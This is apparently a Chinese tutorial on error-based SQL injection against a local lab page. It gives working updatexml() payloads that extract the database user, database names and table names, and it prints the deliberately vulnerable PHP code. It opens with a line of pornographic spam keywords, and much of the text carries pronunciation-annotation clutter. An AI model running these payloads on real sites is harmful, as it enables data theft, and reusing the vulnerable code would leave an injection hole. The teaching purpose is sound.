亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Web安全解析報(bào)錯(cuò)注入攻擊原理

 更新時(shí)間:2021年11月02日 14:51:10   作者:Phanton03167  
這篇文章主要為大家介紹了Web安全解析報(bào)錯(cuò)注入攻擊的原理,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

1.報(bào)錯(cuò)注入攻擊

報(bào)錯(cuò)注入攻擊的測(cè)試地址:http://127.0.0.1/sqli/error.php?username=1。

訪問(wèn)該網(wǎng)址時(shí),頁(yè)面返回ok,如圖28所示。

 

圖28 訪問(wèn)username=1時(shí)頁(yè)面的的結(jié)果

訪問(wèn)http://127.0.0.1/sqli/error.php?username=1',因?yàn)閰?shù)username的值是1',在數(shù)據(jù)庫(kù)中執(zhí)行SQL時(shí),會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò),輸出到頁(yè)面的結(jié)果如圖29所示。

 

圖29 訪問(wèn)username=1'時(shí)頁(yè)面的的結(jié)果

通過(guò)頁(yè)面返回結(jié)果可以看出,程序直接將錯(cuò)誤信息輸入到了頁(yè)面上,所以此處可以利用報(bào)錯(cuò)注入獲取數(shù)據(jù)。報(bào)錯(cuò)注入有多種格式,此處利用函數(shù)updatexml()延時(shí)SQL語(yǔ)句獲取user()的值,SQL語(yǔ)句如下所示。

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

Updatexml()函數(shù):Updatexml(xml_target,xpath_expr,new_xml)

xml_target:需要操作的xml片段

xpath_expr:需要更新的xml路徑(Xpath格式)

new_xml:更新后的內(nèi)容

其中0x7e是ASCII編碼,解碼結(jié)果為~,如圖30所示。

 

圖30 利用updatexml獲取user()

然后嘗試獲取當(dāng)前數(shù)據(jù)庫(kù)的庫(kù)名,如圖31所示,語(yǔ)句如下所示。

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

圖31 利用updatexml獲取database()

接著可以利用select語(yǔ)句繼續(xù)獲取數(shù)據(jù)庫(kù)中的庫(kù)名、表名和字段名,查詢語(yǔ)句與Union注入的相同。因?yàn)閳?bào)錯(cuò)注入只顯示一條結(jié)果,所以需要使用limit語(yǔ)句。構(gòu)造的語(yǔ)句如下所示。

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

結(jié)果如圖32所示,以此類推,可以獲取所有數(shù)據(jù)庫(kù)的庫(kù)名。

 

圖32 利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)名

如圖33所示,構(gòu)造查詢表的語(yǔ)句,如下所示,可以獲取數(shù)據(jù)庫(kù)test的表名。

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+

 

圖33 利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名

2.報(bào)錯(cuò)注入代碼分析

在報(bào)錯(cuò)注入頁(yè)面中,程序獲取GET參數(shù)username后,將username拼接到SQL語(yǔ)句中,然后到數(shù)據(jù)庫(kù)查詢。如果執(zhí)行成功,技術(shù)處ok;如果出錯(cuò),則通過(guò)echo mysqli_error(@&con)將錯(cuò)誤信息輸出到頁(yè)面(mysqli_error返回上一個(gè)MySQL函數(shù)的錯(cuò)誤),代碼如下所示。

<?php
$con=mysqli_connect("localhost","root","root","test");
// 檢測(cè)連接
if (mysqli_connect_errno())
{
    echo "連接失敗: " . mysqli_connect_error();
}
$username = @$_GET['username'];
$sql = "select * from users where `username`='".$username."'";

if($result = mysqli_query($con,$sql))
{
    echo "ok";
}
else
{
    echo mysqli_error($con);
}

?>

輸入username=1'時(shí),SQL語(yǔ)句為select *from users where `username`=‘1'。執(zhí)行時(shí),會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò)。利用這種錯(cuò)誤回顯,我們可以通過(guò)floor()、updatexml()等函數(shù)將要查詢的內(nèi)容輸出到頁(yè)面上。

以上就是Web安全解析報(bào)錯(cuò)注入攻擊原理的詳細(xì)內(nèi)容,更多關(guān)于Web安全報(bào)錯(cuò)注入攻擊的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評(píng)論